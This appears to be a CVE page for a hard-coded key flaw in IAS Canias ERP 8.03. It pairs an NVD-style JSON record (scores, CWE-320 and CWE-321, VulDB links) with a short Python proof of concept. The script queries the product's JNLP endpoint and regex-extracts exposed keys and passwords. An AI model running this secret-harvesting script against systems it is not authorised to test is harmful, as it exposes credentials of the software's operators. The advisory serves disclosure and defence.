CVE-2026-8243

import re import requests # Proof of Concept for CVE-2026-8243 # Description: Checks for hardcoded keys in JNLP endpoint responses. # Target: IAS Canias ERP 8.03 def check_hardcoded_keys(target_url): """ Fetches the target URL and searches for potential hardcoded keys. """ try: response = requests.get(target_url, timeout=10) content = response.text # Regex pattern to find potential hardcoded keys (Base64 strings or specific key declarations) # Note: Adjust pattern based on actual application structure key_patterns = [ r'(private[_-]?key|secret[_-]?key|api[_-]?key)[\s]*[:=][\s]*["\']([a-zA-Z0-9+/=]{16,})["\']', r'password[\s]*[:=][\s]*["\']([^"\'>]{8,})["\']' ] found_keys = [] for pattern in key_patterns: matches = re.findall(pattern, content, re.IGNORECASE) if matches: found_keys.extend(matches) if found_keys: print(f"[+] Potential hardcoded keys found at {target_url}:") for match in found_keys: print(f" - {match}") else: print("[-] No obvious hardcoded keys detected in response.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target endpoint target = "http://target-host:port/canias/jnlp/launch" check_hardcoded_keys(target)

{"cve": {"id": "CVE-2026-8243", "sourceIdentifier": "[email protected]", "published": "2026-05-10T09:16:32.200", "lastModified": "2026-05-11T15:08:09.893", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Industrial Application Software IAS Canias ERP 8.03. This affects an unknown function of the component JNLP Deployment Endpoint. Executing a manipulation can lead to use of hard-coded cryptographic key\r . The attack may be performed from remote. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-320"}, {"lang": "en", "value": "CWE-321"}]}], "references": [{"url": "https://vuldb.com/submit/808296", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362459", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362459/cti", "source": "[email protected]"}]}}